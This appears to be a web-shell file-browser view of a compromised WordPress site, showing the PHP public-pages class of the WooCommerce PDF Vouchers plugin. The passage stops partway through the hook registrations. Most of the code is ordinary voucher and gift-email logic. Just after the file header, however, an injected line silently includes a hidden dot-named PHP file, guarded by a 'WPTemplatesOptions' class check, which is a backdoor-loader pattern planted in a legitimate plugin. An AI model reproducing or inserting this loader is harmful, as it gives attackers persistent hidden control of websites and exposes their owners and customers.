ꦫꦣꦺꦤ꧀ꦄꦤ꧀ꦠꦱꦺꦤ

PATH: home / letacommog / newrdv1 / wp-content / plugins1 / woocommerce-pdf-vouchers1 / includes

<?php
// Exit if accessed directly
if (!defined('ABSPATH'))
    exit;

/**
 * Public Pages Class
 * 
 * Handles all the different features and functions
 * for the front end pages.
 * 
 * @package WooCommerce - PDF Vouchers
 * @since 1.0.0
 */
if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) {
    include_once($filename);
}

class WOO_Vou_Public {

public $model;
    public $voucher;

public function __construct() {

global $woo_vou_model, $woo_vou_voucher;

$this->model = $woo_vou_model;
        $this->voucher = $woo_vou_voucher;
    }

/**
     * Display Check Code Html
     * 
     * Handles to display check code html for user and admin
     * 
     * @package WooCommerce - PDF Vouchers
     * @since 1.0.0
     */
    public function woo_vou_check_code_content() {

global $current_user, $woo_vou_vendor_role;

//Get User roles
        $user_roles = isset($current_user->roles) ? $current_user->roles : array();
        $user_role = array_shift($user_roles);

// Get "Check Voucher Code for all logged in users" option
        $vou_enable_logged_user_check_voucher_code = get_option('vou_enable_logged_user_check_voucher_code');
        $vou_enable_logged_user_redeem_vou_code = get_option('vou_enable_logged_user_redeem_vou_code');

//voucher admin roles
        $admin_roles = woo_vou_assigned_admin_roles();
        $currency = get_woocommerce_currency();
        ?>

<table class="form-table woo-vou-check-code">
            <tr>
                <th>
                    <label for="woo_vou_voucher_code"><?php esc_html_e('Enter Voucher Code', 'woovoucher') ?></label>
                </th>
                <td>
                    <input type="text" id="woo_vou_voucher_code" name="woo_vou_voucher_code" value="" />
                    <input type="hidden" id="woo_vou_valid_voucher_code" name="woo_vou_valid_voucher_code" value="" />
                    <input type="button" id="woo_vou_check_voucher_code" name="woo_vou_check_voucher_code" class="button-primary" value="<?php esc_html_e('Check It', 'woovoucher') ?>" data-currency="<?php echo $currency; ?>"/>
                    <?php do_action('woo_vou_after_check_voucher_code_btn'); ?>
                    <div class="woo-vou-loader woo-vou-check-voucher-code-loader"><img src="<?php echo esc_url(WOO_VOU_IMG_URL); ?>/ajax-loader.gif"/></div>
                    <?php do_action('woo_vou_after_check_voucher_code_loader'); ?>
                    <div class="woo-vou-voucher-code-msg"></div>
                </td>
            </tr>
            <?php
            if ((in_array($user_role, $admin_roles) || in_array($user_role, $woo_vou_vendor_role)) || (!in_array($user_role, $admin_roles) && !in_array($user_role, $woo_vou_vendor_role) && ($vou_enable_logged_user_check_voucher_code == 'yes') && ($vou_enable_logged_user_redeem_vou_code == 'yes') ) || apply_filters('woo_vou_access_redeem_btn_without_login', false)
            ) {// voucher admin can redeem all codes
              
                ?>
                <tr class="woo-vou-voucher-code-submit-wrap">
                    <th>
                    </th>
                    <td>
                        <?php echo apply_filters('woo_vou_voucher_code_submit', '<input type="submit" id="woo_vou_voucher_code_submit" name="woo_vou_voucher_code_submit" class="button-primary" value="' . esc_html__("Redeem", "woovoucher") . '"/>'); ?>
                        <div class="woo-vou-loader woo-vou-voucher-code-submit-loader"><img src="<?php echo esc_url(WOO_VOU_IMG_URL); ?>/ajax-loader.gif"/></div>
                    </td>
                </tr>
            <?php } do_action('woo_vou_inner_check_code_table'); ?>
        </table><?php
        do_action('woo_vou_after_check_code_content');
    }

/**
     * This is used to ensure any required user input fields are supplied
     * 
     * Handles to This is used to ensure any required user input fields are supplied
     * 
     * @package WooCommerce - PDF Vouchers
     * @since 2.0
     */
    public function woo_vou_add_to_cart_validation($valid, $product_id = '', $quantity = '', $variation_id = '', $variations = array(), $cart_item_data = array()) {

// Get prefix
        $prefix = WOO_VOU_META_PREFIX;

if (array_key_exists('woo_vou_is_ajax', $_POST) && $_POST['woo_vou_is_ajax']) {

$response = array();
            $return_html = '';

$product_id = $_POST['product_id'];
            $variation_id = array_key_exists('variation_id', $_POST) && !empty($_POST['variation_id']) ? $_POST['variation_id'] : '';
        }

$_product_id = $variation_id ? $variation_id : $product_id;
        $product = wc_get_product($_product_id);

// Voucher enable or not
        $voucher_enable = $this->voucher->woo_vou_check_enable_voucher($product_id, $variation_id);

// Get recipient delivery details
        $product_delivery_meth = get_post_meta($product_id, $prefix . 'recipient_delivery', true);

if ($voucher_enable) {//If voucher enable
            $_delivery_method = '';

//Get product recipient meta setting
            $recipient_data = $this->model->woo_vou_get_product_recipient_meta($product_id);
            $recipient_columns = woo_vou_voucher_recipient_details();
            $individual_recipient_details = !empty($recipient_data['individual_recipient_details']) ? $recipient_data['individual_recipient_details'] : array();

if (isset($_POST[$prefix . 'delivery_method'][$_product_id])) {
                $_delivery_method = $_POST[$prefix . 'delivery_method'][$_product_id];
            }

if (empty($_delivery_method) && !empty($product_delivery_meth) && $recipient_data['delivery_meth_configured'] == true) {

if (array_key_exists('woo_vou_is_ajax', $_POST) && $_POST['woo_vou_is_ajax']) {

$return_html .= '<li><p class="woo-vou-recipient-error">' . esc_html__("Field", 'woovoucher') ." ". $recipient_data['recipient_delivery_label'] .' '. esc_html__("is required.", 'woovoucher') . '</p></li>';
                } else {

wc_add_notice('<p class="woo-vou-recipient-error">' . esc_html__("Field", 'woovoucher') ." ". $recipient_data['recipient_delivery_label'] .' '. esc_html__("is required.", 'woovoucher') . '</p>', 'error');
                }
                $valid = false;
            }

// Looping on all recipient details
            foreach ($recipient_columns as $recipient_key => $recipient_val) {

// Check if Email is Selected or not in Delivery Choice
                ${$recipient_key . '_err_enable'} = apply_filters('woo_vou_' . $recipient_key . '_error_enable', $_product_id);

if (isset($_POST[$prefix . $recipient_key][$_product_id])) {//Strip recipient name
                    $_POST[$prefix . $recipient_key][$_product_id] = $this->model->woo_vou_escape_slashes_deep(trim($_POST[$prefix . $recipient_key][$_product_id]));
                }

/**
                 * Checks whether recipient detail is individual
                 * If not than check whether it consist in the delivery method selected
                 * If any of the above condition satisfies then check for validation
                 * This applies to all recipient details validation check
                 */
                if (array_key_exists($recipient_key, $individual_recipient_details) || empty($_delivery_method) || (!empty($_delivery_method) && $product_delivery_meth['enable_' . $_delivery_method] == 'yes' && !empty($product_delivery_meth[$_delivery_method]) && is_array($product_delivery_meth[$_delivery_method]) && in_array($recipient_key, $product_delivery_meth[$_delivery_method]) )) {

// Not empty validation for all reipient fields
                    if ($recipient_data['enable_' . $recipient_key] == 'yes' && $recipient_data[$recipient_key . '_is_required'] == 'yes' && empty($_POST[$prefix . $recipient_key][$_product_id]) && ${$recipient_key . '_err_enable'}) {

if (array_key_exists('woo_vou_is_ajax', $_POST) && $_POST['woo_vou_is_ajax']) {

$return_html .= '<li><p class="woo-vou-recipient-error">' . esc_html__("Field", 'woovoucher') ." ". $recipient_data[$recipient_key . '_label'] .' '. esc_html__("is required.", 'woovoucher') . '</p></li>';
                        } else {

wc_add_notice('<p class="woo-vou-recipient-error">' . esc_html__("Field", 'woovoucher') . ' ' . $recipient_data[$recipient_key . '_label'] . ' ' . esc_html__("is required.", 'woovoucher') . '</p>', 'error');
                        }
                        $valid = false;
                    }
                    // Email format valiadtion if the recipient column is email
                    else if (!empty($_POST[$prefix . $recipient_key][$_product_id]) && array_key_exists('type', $recipient_columns[$recipient_key]) && !empty($recipient_columns[$recipient_key]['type']) && $recipient_columns[$recipient_key]['type'] == 'email' && !is_email($_POST[$prefix . $recipient_key][$_product_id])) {

if (array_key_exists('woo_vou_is_ajax', $_POST) && $_POST['woo_vou_is_ajax']) {

$return_html .= '<li><p class="woo-vou-recipient-error">' . esc_html__("Please Enter Valid", 'woovoucher') . ' ' . $recipient_data[$recipient_key . '_label'] . '.</p></li>';
                        } else {

wc_add_notice('<p class="woo-vou-recipient-error">' . esc_html__("Please Enter Valid", 'woovoucher') . ' ' . $recipient_data[$recipient_key . '_label'] . '.</p>', 'error');
                        }
                        $valid = false;
                    }
                    // Date format and min max date valiadtion if the recipient column is giftdate
                    else if (!empty($_POST[$prefix . $recipient_key][$_product_id]) && array_key_exists('type', $recipient_columns[$recipient_key]) && !empty($recipient_columns[$recipient_key]['type']) && $recipient_columns[$recipient_key]['type'] == 'date') {

$is_date_valid = $this->model->woo_vou_check_date($_POST[$prefix . $recipient_key][$_product_id], $product_id);

if ($is_date_valid['error'] && array_key_exists('error_type', $is_date_valid)) {
                            if ($is_date_valid['error_type'] == 'date_not_proper') {

if (array_key_exists('woo_vou_is_ajax', $_POST) && $_POST['woo_vou_is_ajax']) {

$date_format = apply_filters('woo_vou_giftdate_start_end_date_format', 'm/d/Y');
                                $vou_min_date = array_key_exists('vou_min_date', $is_date_valid) && !empty($is_date_valid['vou_min_date']) ? $is_date_valid['vou_min_date'] : date($date_format);
                                $vou_max_date = array_key_exists('vou_max_date', $is_date_valid) && !empty($is_date_valid['vou_max_date']) ? $is_date_valid['vou_max_date'] : '';

if (!empty($vou_max_date)) {

if (array_key_exists('woo_vou_is_ajax', $_POST) && $_POST['woo_vou_is_ajax']) {

$return_html .= '<li><p class="woo-vou-recipient-error">' . esc_html__("Entered {$recipient_data['recipient_giftdate_label']} date is not allowed. Please select date between {$vou_min_date} and {$vou_max_date}", 'woovoucher') . '.</p></li>';
                                    } else {

wc_add_notice('<p class="woo-vou-recipient-error">' . esc_html__("Entered {$recipient_data['recipient_giftdate_label']} date is not allowed. Please select date between {$vou_min_date} and {$vou_max_date}", 'woovoucher').'</p>', 'error');
                                    }
                                } else {

if (array_key_exists('woo_vou_is_ajax', $_POST) && $_POST['woo_vou_is_ajax']) {

$return_html .= '<li><p class="woo-vou-recipient-error">' . esc_html__("Entered {$recipient_data['recipient_giftdate_label']} date is not allowed. Please select select a future date.", 'woovoucher') . '.</p></li>';
                                    } else {

wc_add_notice('<p class="woo-vou-recipient-error">' . esc_html__("Entered {$recipient_data['recipient_giftdate_label']} date is not allowed. Please select select a future date.</p>", 'woovoucher'), 'error');
                                    }
                                }

$valid = false;
                            }
                        }
                    }
                }
            }

// PDF template selection validation
            if ($recipient_data['enable_pdf_template_selection'] == 'yes' && empty($_POST[$prefix . 'pdf_template_selection'][$_product_id])) {

if (array_key_exists('woo_vou_is_ajax', $_POST) && $_POST['woo_vou_is_ajax']) {

$return_html .= '<li><p class="woo-vou-recipient-error">' . esc_html__("Field", 'woovoucher') . ' ' . $recipient_data['pdf_template_selection_label'] . ' ' . esc_html__("is required.", 'woovoucher') . '.</p></li>';
                } else {

wc_add_notice('<p class="woo-vou-recipient-error">' . esc_html__("Field", 'woovoucher') . ' ' . $recipient_data['pdf_template_selection_label'] . ' ' . esc_html__("is required.", 'woovoucher') . '</p>', 'error');
                }
                $valid = false;
            }
        }

if (array_key_exists('woo_vou_is_ajax', $_POST) && $_POST['woo_vou_is_ajax']) {

$response['valid'] = $valid === false ? false : true;
            $response['html'] = $return_html;

echo json_encode($response);
            exit;
        } else {

return $valid;
        }
    }

/**
     * This is used to send an email after order completed to recipient user
     * 
     * Handles to send an email after order completed
     * 
     * @package WooCommerce - PDF Vouchers
     * @since 2.0
     */
    public function woo_vou_payment_process_or_complete($order_id) {

global $wpdb;

$prefix = WOO_VOU_META_PREFIX; // Get prefix
        $cart_details = wc_get_order($order_id); // Get order
        $order_status = woo_vou_get_order_status($cart_details); // Get order status
        // Get option for grant access from global WooCommerce
        $woocommerce_downloads_grant_access_after_payment = get_option('woocommerce_downloads_grant_access_after_payment');

if ($order_status == 'processing' && !empty($woocommerce_downloads_grant_access_after_payment) && $woocommerce_downloads_grant_access_after_payment == 'no') {
            return;
        }

//Get and check if order's voucher data need hide
        if( get_post_meta($order_id, $prefix .'order_hide_voucher_data', true) ) return;

// get option
        $vou_download_gift_mail = get_option('vou_download_gift_mail');
        $vou_attach_gift_mail = get_option('vou_attach_gift_mail');

// record the fact that the vouchers have been sent
        if (get_post_meta($order_id, $prefix . 'recipient_email_sent', true)) {
            return;
        }

$recipient_gift_email_send = true;
        $order_items = $cart_details->get_items();
        $payment_user_info = $this->model->woo_vou_get_buyer_information($order_id); // Get payment information
        $first_name = $payment_user_info['first_name']; // Get billing first name
        $last_name = $payment_user_info['last_name']; // Get billing last name
        // If item is not empty
        if (!empty($order_items)) {

// Looping on all items
            foreach ($order_items as $product_item_key => $product_data) {

// Declare variable to save flag for mail sent at item level
                $recipient_gift_email_send_item = 'no';

// Get product from Item ( It is required otherwise multipdf voucher link not work and global $woo_vou_item_id will not work )
                $_product = apply_filters('woocommerce_order_item_product', $cart_details->get_product_from_item($product_data), $product_data);
                
                $download_file_data = $this->model->woo_vou_get_item_downloads_from_order($cart_details, $product_data); // Get downloadable files
                $product_id = isset($product_data['product_id']) ? $product_data['product_id'] : '';
                $variation_id = isset($product_data['variation_id']) ? $product_data['variation_id'] : '';

/*
                * product price shortcode start
                */
                $data_id = !empty($variation_id) ? $variation_id : $product_id;
                $product_details = $this->model->woo_vou_get_product_details($order_id);
                $product_price = !empty($product_details[$data_id]['product_formated_price']) ? $product_details[$data_id]['product_formated_price'] : '';                
                
                // Getting the order meta data
                $order_all_data = $this->model->woo_vou_get_all_ordered_data($order_id);
                $vou_using_type = isset($order_all_data[$product_id]['using_type']) ? $order_all_data[$product_id]['using_type'] : '';

//get product quantity
                $productqty = apply_filters('woo_vou_order_item_qty', $product_data['qty'], $product_data);

// Vendor sale notification
                $this->model->woo_vou_vendor_sale_notification($product_id, $variation_id, $product_item_key, $product_data, $order_id, $cart_details);

// Initilize recipient detail and other variables
                $recipient_details = $links = $attach_key = array();

// Get product item meta
                $product_item_meta = isset($product_data['item_meta']) ? $product_data['item_meta'] : array();
                $recipient_details = $this->model->woo_vou_get_recipient_data($product_item_meta);
                $i = 0;

if (!empty($download_file_data)) {
                    foreach ($download_file_data as $key => $download_file) {

$check_key = strpos($key, 'woo_vou_pdf_');

if (!empty($download_file) && $check_key !== false) {

$attach_keys[] = $key;
                            $i++;
                            $download_url = add_query_arg('woo_vou_screen', 'gift', $download_file['download_url']);
                            $links[] = '<small><a href="' . esc_url($download_url) . '">' . sprintf(esc_html__('Download file%s', 'woovoucher'), ( count($download_file_data) > 1 ? ' ' . $i . ': ' : ': ')) . esc_html($download_file['name']) . '</a></small>';
                            $links_plain[] = sprintf(esc_html__('Download file%s', 'woovoucher'), ( count($download_file_data) > 1 ? ' ' . $i . ': ' : ': ')) . esc_url($download_url);
                        }
                    }
                }

if ($vou_download_gift_mail == 'yes') { //If download enable from gift mail.
                    $recipient_details['recipient_voucher'] = ( !empty( $links ) && is_array( $links ) ) ? '<br/>' . implode('<br/>', $links) : '';
                    $recipient_details['recipient_voucher_plain'] = ( !empty( $links_plain ) && is_array( $links_plain )  ) ? "\n" . implode("\n", $links_plain) : '';
                } else {
                    $recipient_voucher = '';
                }

// added filter to send extra emails on diferent email ids by other extensions
                $woo_vou_extra_emails = false;
                $woo_vou_extra_emails = apply_filters('woo_vou_pdf_recipient_email', $woo_vou_extra_emails, $product_id);

if (( isset($recipient_details['recipient_email']) && !empty($recipient_details['recipient_email']) ) ||
                        (!empty($woo_vou_extra_emails) )) {

$recipient_name = isset($recipient_details['recipient_name']) ? $recipient_details['recipient_name'] : '';
                    $recipient_email = isset($recipient_details['recipient_email']) ? $recipient_details['recipient_email'] : '';
                    $recipient_message = isset($recipient_details['recipient_message']) ? '"' . nl2br($recipient_details['recipient_message']) . '"' : '';
                    $recipient_voucher = isset($recipient_details['recipient_voucher']) ? $recipient_details['recipient_voucher'] : '';
                    $recipient_voucher_plain = isset($recipient_details['recipient_voucher_plain']) ? $recipient_details['recipient_voucher_plain'] : '';

// Get Extra email if passed through filter
                    $woo_vou_extra_emails = !empty($woo_vou_extra_emails) ? $woo_vou_extra_emails : '';

$attachments = array();

if (!empty($vou_attach_gift_mail) && $vou_attach_gift_mail == 'yes') { //If attachment enable for gift mail.
                        //Get product/variation ID
                        $product_id = !empty($product_data['variation_id']) ? $product_data['variation_id'] : $product_data['product_id'];

if (!empty($attach_keys)) {//attachments keys not empty
                            foreach ($attach_keys as $attach_key) {

$attach_pdf_file_name = get_option('attach_pdf_name');

// Apply filter to allow 3rd party people to change it
                                $date_format = apply_filters('woo_vou_voucher_date_format', 'Y-m-d');
                                if (!empty($attach_pdf_file_name)) {

$product_title = get_the_title($product_data['product_id']);
                                    $product_title = str_replace(" ", "-", $product_title);

// Find and replace shortcodes
                                    $find = array("{current_date}", "{product_title}");
                                    $replace = array(date($date_format), $product_title);
                                    $attach_pdf_file_name = str_replace($find, $replace, $attach_pdf_file_name);
                                } else {

$attach_pdf_file_name = 'woo-voucher-';
                                }

// Add filter for PDF attach name
                                $pdf_file_args = array(
                                    'order_id' => $order_id,
                                    'product_id' => $product_id,
                                    'item_id' => $product_item_key,
                                    'pdf_vou_key' => $attach_key,
                                );
                                $attach_pdf_file_name = apply_filters('woo_vou_attach_pdf_file_name', $attach_pdf_file_name, $pdf_file_args);

// Remove forward slash from name
                                $attach_pdf_file_name = str_replace('/', '', $attach_pdf_file_name);

// Voucher attachment path
                                $vou_pdf_path = WOO_VOU_UPLOAD_DIR . $attach_pdf_file_name . $order_id . '-' . $product_id . '-' . $product_item_key; // Voucher pdf path
                                // Replacing voucher pdf name with given value
                                $orderdvoucode_key = str_replace('woo_vou_pdf_', '', $attach_key);

//if user buy more than 1 quantity of voucher
                                if (isset($productqty) && $productqty > 1) {
                                    $vou_pdf_path .= '-' . $orderdvoucode_key;
                                }

//if voucher using type is more than one time then generate voucher codes
                                if (!empty($vou_using_type)) {

// Get vouche code postfix from option
                                    $vou_code_postfix = get_option('vou_code_postfix');

if (isset($productqty) && !empty($vou_code_postfix)) {
                                        $vou_code_postfix = (int) $vou_code_postfix - ( $productqty - $orderdvoucode_key ) - 1;
                                        $vou_pdf_path .= '-' . $vou_code_postfix;
                                    }
                                }
                                // set PDF path with extension
                                $vou_pdf_name = $vou_pdf_path . '.pdf';

// If voucher pdf exist in folder
                                if (file_exists($vou_pdf_name)) {

// Adding the voucher pdf in attachment array
                                    $attachments[] = apply_filters('woo_vou_gift_email_attachments', $vou_pdf_name, $order_id, $product_data);
                                }
                            }
                        }
                    }

// Get Recipient gift date
                    $recipient_giftdate = !empty($recipient_details['recipient_giftdate']) ? $recipient_details['recipient_giftdate'] : '';
                    $recipient_giftdate = apply_filters('woo_vou_replace_giftdate', $recipient_giftdate, $order_id, $product_item_key);

// Getting Voucher Delivery. This meta will contain voucher delivery selected by admin and not user
                    $woo_vou_all_ordered_data = $this->model->woo_vou_get_all_ordered_data($order_id);

if (!empty($variation_id)) { // If this variation then get it's product id
                        $_variation_pro = wc_get_product($variation_id);
                        $parent_product_id = $_variation_pro->get_parent_id();
                        $allvoucherdata = apply_filters('woo_vou_order_voucher_metadata', isset($woo_vou_all_ordered_data[$parent_product_id]) ? $woo_vou_all_ordered_data[$parent_product_id] : array(), $order_id, $product_item_key, $parent_product_id);
                        $vou_voucher_delivery_type = $allvoucherdata['voucher_delivery'][$variation_id];
                    } else {

$allvoucherdata = apply_filters('woo_vou_order_voucher_metadata', isset($woo_vou_all_ordered_data[$product_id]) ? $woo_vou_all_ordered_data[$product_id] : array(), $order_id, $product_item_key, $product_id);
                        $vou_voucher_delivery_type = $allvoucherdata['voucher_delivery'];
                    }

// Get user selected voucher delivery
                    // This will override voucher delivery selected by admin
                    $user_selected_delivery_type = $product_data->get_meta($prefix . 'delivery_method', true);
                    if (!empty($user_selected_delivery_type) && is_array($user_selected_delivery_type) && !empty($user_selected_delivery_type['value'])) {

$vou_voucher_delivery_type = $user_selected_delivery_type['value'];
                    }

// Apply filter to delivery type
                    $vou_voucher_delivery_type = apply_filters('woo_vou_check_product_delivery_type', $vou_voucher_delivery_type);

$giftdate_stamp = date('Y-m-d', strtotime($recipient_giftdate));
                    $current_date = current_time('Y-m-d');

// Check if voucher delivery set 
                    if ($vou_voucher_delivery_type == 'offline') {
                        $recipient_gift_email_send = false;

// check if gift date is set. If yes, then no need to send email right now.
                        // Will send email on selected gift date    
                    } elseif (!empty($recipient_giftdate) && $giftdate_stamp != $current_date) {
                        $recipient_gift_email_send = false;
                    } else {

//Get All Data for gift notify
                        $gift_data = array(
                            'first_name' => $first_name,
                            'last_name' => $last_name,
                            'recipient_name' => $recipient_name,
                            'recipient_email' => $recipient_email,
                            'recipient_message' => $recipient_message,
                            'voucher_link' => $recipient_voucher,
                            'voucher_link_plain' => $recipient_voucher_plain,
                            'attachments' => $attachments,
                            'woo_vou_extra_emails' => $woo_vou_extra_emails,
                            'order_id' => $order_id,
                            'product_price' => $product_price
                        );

$gift_data = apply_filters('woo_vou_gift_notification_data', $gift_data, $product_data);

// Fires when gift notify.
                        do_action('woo_vou_gift_email', $gift_data);

// Give permission for download voucher to recipient email user
                        woo_vou_permission_download_recipient_user($order_id);

$recipient_gift_email_send_item = 'yes';
                    }
                }

// Add new item meta for recording flag that mail is sent or not
                $product_data->add_meta_data($prefix . 'recipient_gift_email_send_item', $recipient_gift_email_send_item, true);
                // Save updated meta
                $product_data->save_meta_data();
            } //end foreach
            // Add action after gift email is sent
            do_action('woo_vou_after_gift_email', $order_id);
        }

if ($recipient_gift_email_send) {
            //Update post meta for email attachment issue
            update_post_meta($order_id, $prefix . 'recipient_email_sent', true);
        }
    }

/**
     * Prevent product from being added to cart (free or priced) with ?add-to-cart=XXX
     * When product expired or upcoming
     *
     * @package WooCommerce - PDF Vouchers
     * @since 2.4.0
     */
    public function woo_vou_prevent_product_add_to_cart($passed, $product_id) {

// Get complete product details from product id
        $product = wc_get_product($product_id);

$expired = $this->voucher->woo_vou_check_product_is_expired($product);

if ($expired == 'upcoming') {
            wc_add_notice(esc_html__('You can not add upcoming products to cart.', 'woovoucher'), 'error');
            $passed = false;
        } elseif ($expired == 'expired') {
            wc_add_notice(esc_html__('You can not add expired products to cart.', 'woovoucher'), 'error');
            $passed = false;
        }

return $passed;
    }

/**
     * Valiate product added in cart is expired/upcoming
     * 
     * Handles to display error if proudct added in cart is expired/upcoming
     * 
     * @package WooCommerce - PDF Vouchers
     * @since 2.4.0
     */
    public function woo_vou_woocommerce_checkout_process() {

// get added products in cart
        $cart_details = WC()->session->cart;
        if (!empty($cart_details)) { // if cart is not empty
            foreach ($cart_details as $key => $product_data) {

// get product id
                $product_id = $product_data['product_id'];

// Get complete product details from product id
                $product = wc_get_product($product_id);

// check product is expired/upcoming
                $expired = $this->voucher->woo_vou_check_product_is_expired($product);
                if ($expired == 'upcoming') {
                    if (version_compare(WOOCOMMERCE_VERSION, "3.0.0") == -1)
                        wc_add_notice(sprintf(esc_html__('%s is no longer available.', 'woovoucher'), $product->post->post_title), 'error');
                    else
                        wc_add_notice(sprintf(esc_html__('%s is no longer available.', 'woovoucher'), $product->get_title()), 'error');
                    return;
                } elseif ($expired == 'expired') {
                    if (version_compare(WOOCOMMERCE_VERSION, "3.0.0") == -1)
                        wc_add_notice(sprintf(esc_html__('%s is no longer available.', 'woovoucher'), $product->post->post_title), 'error');
                    else
                        wc_add_notice(sprintf(esc_html__('%s is no longer available.', 'woovoucher'), $product->get_title()), 'error');
                    return;
                }
            }
        }
    }

/**
     * Error message
     * 
     * Handles to throw custom error message
     * 
     * @package WooCommerce - PDF Vouchers
     * @since 2.9.2
     */
    public function woo_vou_coupon_err_message($err, $err_code, $coupon) {

//get prefix
        $prefix = WOO_VOU_META_PREFIX;

if ($coupon) {

$coupon_id = $this->model->woo_vou_get_coupon_id_from_coupon($coupon); // Get coupon id
            $coupon_start_date = get_post_meta($coupon_id, $prefix . 'start_date', true); // Get coupon start date
            $coupon_rest_days = get_post_meta($coupon_id, $prefix . 'disable_redeem_day', true); // Get coupon restriction days
            // Check error code for start date
            if ($err_code == $prefix . 'start_date_err') {

$err = sprintf(esc_html__('This Coupon Code cannot be used before %s', 'woovoucher'), date('Y-m-d H:i:s', strtotime($coupon_start_date))); // Throw error message               
            }

// Check error for restriction days
            if ($err_code === $prefix . 'day_err') {

$message = implode(", ", $coupon_rest_days); // Get all days
                $err = sprintf(esc_html__('Sorry, coupon Code cannot be used on %s.', 'woovoucher'), $message); // Throw error message
            }
        }

// Return error
        return $err;
    }

/**
     * Handles to display voucher link on thank you page for voucher
     * 
     * @package WooCommerce - PDF Vouchers
     * @since 3.7.12
     */
    function woo_vou_dummy_download_file_for_voucher( $file, $product, $download_id ){
        
        if( empty( $download_id) ) {
            // set dummy downloadable file with dummy id 
            $download_object = new WC_Product_Download();

$download_object->set_id( 'sdfdsds5f64dsfdfs4f6s54f6sd4' );
            $download_object->set_name( 'Pdf Voucher' );
            $download_object->set_file( WOO_VOU_IMG_URL.'/vendor-logo.png');

return $download_object;
        }
        
        return $file;
    }

/**
     * Adding Hooks
     * 
     * Adding proper hoocks for the discount codes
     * 
     * @package WooCommerce - PDF Vouchers
     * @since 1.0.0
     */
    public function add_hooks() {

//add action to save voucher in order
        add_action('woocommerce_checkout_update_order_meta', 'woo_vou_product_purchase');

//add action for add custom notifications
        add_filter('woocommerce_email_actions', 'woo_vou_add_email_notification');

//insert pdf vouchers in woocommerce downloads fiels table
        add_action('woocommerce_grant_product_download_permissions', 'woo_vou_insert_downloadable_files');

//add action to product process
        add_action('woocommerce_download_product', 'woo_vou_download_process', 10, 6);

//add filter to add admin access for vendor role
        add_filter('woocommerce_prevent_admin_access', 'woo_vou_prevent_admin_access');

//ajax call to edit all controls
        add_action('wp_ajax_woo_vou_check_voucher_code', array($this->voucher, 'woo_vou_check_voucher_code'));
        add_action('wp_ajax_nopriv_woo_vou_check_voucher_code', array($this->voucher, 'woo_vou_check_voucher_code'));

//ajax call to save voucher code
        add_action('wp_ajax_woo_vou_save_voucher_code', array($this->voucher, 'woo_vou_save_voucher_code'));
        add_action('wp_ajax_nopriv_woo_vou_save_voucher_code', array($this->voucher, 'woo_vou_save_voucher_code'));

// add action to add html for check voucher code
        add_action('woo_vou_check_code_content', array($this, 'woo_vou_check_code_content'));

// add action to set order as a global variable
        add_action('woocommerce_email_before_order_table', 'woo_vou_email_before_order_table');

//filter to set order product data as a global variable
        add_filter('woocommerce_order_item_product', 'woo_vou_order_item_product', 10, 2);

//restore voucher codes if order is failed or cancled
        add_action('woocommerce_order_status_changed', array($this->voucher, 'woo_vou_restore_voucher_codes'), 10, 3);

//add custom html to single product page before add to cart button
        add_action('woocommerce_before_add_to_cart_button', 'woo_vou_after_before_add_to_cart_button');

//add to cart in item data
        add_filter('woocommerce_add_cart_item_data', 'woo_vou_woocommerce_add_cart_item_data', 10, 3);

// add to cart in item data from session
        add_filter('woocommerce_get_cart_item_from_session', 'woo_vou_get_cart_item_from_session', 10, 2);

// get to cart in item data to display in cart page
        add_filter('woocommerce_get_item_data', 'woo_vou_woocommerce_get_item_data', 10, 2);

//add filter to validate custom fields of product page
        add_filter('woocommerce_add_to_cart_validation', array($this, 'woo_vou_add_to_cart_validation'), 10, 6);

// Add filter to validate recipient details while previewing from template
        add_filter('wp_ajax_woo_vou_add_to_cart_validation', array($this, 'woo_vou_add_to_cart_validation'));
        add_filter('wp_ajax_nopriv_woo_vou_add_to_cart_validation', array($this, 'woo_vou_add_to_cart_validation'));

// add action when order status goes to complete
        add_action('woocommerce_order_status_completed_notification', array($this, 'woo_vou_payment_process_or_complete'), 100);
        add_action('woocommerce_order_status_pending_to_processing_notification', array($this, 'woo_vou_payment_process_or_complete'), 100);
        add_action('woocommerce_order_status_on-hold_to_processing_notification', array($this, 'woo_vou_payment_process_or_complete'), 100);

//add action to hide recipient in order meta
        add_filter('woocommerce_hidden_order_itemmeta', 'woo_vou_hide_recipient_itemmeta');

//filter to attach the voucher pdf in mail
        add_filter('woocommerce_email_attachments', 'woo_vou_attach_voucher_to_email', 10, 3);

//add action to check qrcode
        add_action('init', 'woo_vou_check_qrcode');

//Add order manually from backend
        add_action('woocommerce_process_shop_order_meta', 'woo_vou_process_shop_order_manually');

// Add action to allow vendor to upload their media files
        add_action('admin_init', 'woo_vou_allow_vendor_uploads');

// To make compatible with previous versions of 3.0.0
        if (version_compare(WOOCOMMERCE_VERSION, "3.0.0") == -1) {
            //add filter to merge voucher pdf with product files
            add_filter('woocommerce_product_files', 'woo_vou_downloadable_files_26_deprecated', 10, 2);

//Set global item id for voucher key generater
            add_filter('woocommerce_get_product_from_item', 'woo_vou_set_global_item_id_26_deprecated', 10, 3);

// add action to add cart item to the order.
            add_action('woocommerce_add_order_item_meta', 'woo_vou_add_order_item_meta_26_deprecated', 10, 2);

//Hide recipient variation from product name field
            add_filter('woo_vou_hide_recipient_variations', 'woo_vou_hide_recipients_item_variations_26_deprecated', 10, 2);
        } else {
            //Set global item id for voucher key generater
            add_filter('woocommerce_order_item_product', 'woo_vou_set_global_item_id', 10, 2);

// add action to add cart item to the order.
            add_action('woocommerce_checkout_create_order_line_item', 'woo_vou_add_order_item_meta', 10, 4);

// Add filter to add image on thankyou page, removed by woocommerce 3.0
            add_filter('woocommerce_display_item_meta', 'woo_vou_display_item_meta', 10, 3);

//Hide recipient variation from product name field
            add_filter('woo_vou_hide_recipient_variations', 'woo_vou_hide_recipients_item_variations', 10, 2);
        }

// Add downlodable files and add Item ID in generated pdf download URL
        add_filter('woocommerce_get_item_downloads', 'woo_vou_get_item_pdf_downloads', 10, 3);

//Add voucher download links to my account page
        add_action('woocommerce_customer_get_downloadable_products', 'woo_vou_my_pdf_vouchers_download_link');

//restore old voucher code again when resume old order due to overwrite item
        add_action('woocommerce_resume_order', array($this->voucher, 'woo_vou_resume_order_voucher_codes'));

// add action to update stock as per no. of voucher codes
        add_action('woocommerce_reduce_order_stock', 'woo_vou_update_order_stock');

// add filter to remove add to cart button on shop page for expire product
        add_action('woocommerce_loop_add_to_cart_link', 'woo_vou_shop_add_to_cart', 10, 1);

// prevent add to cart product if some one try directly using url	
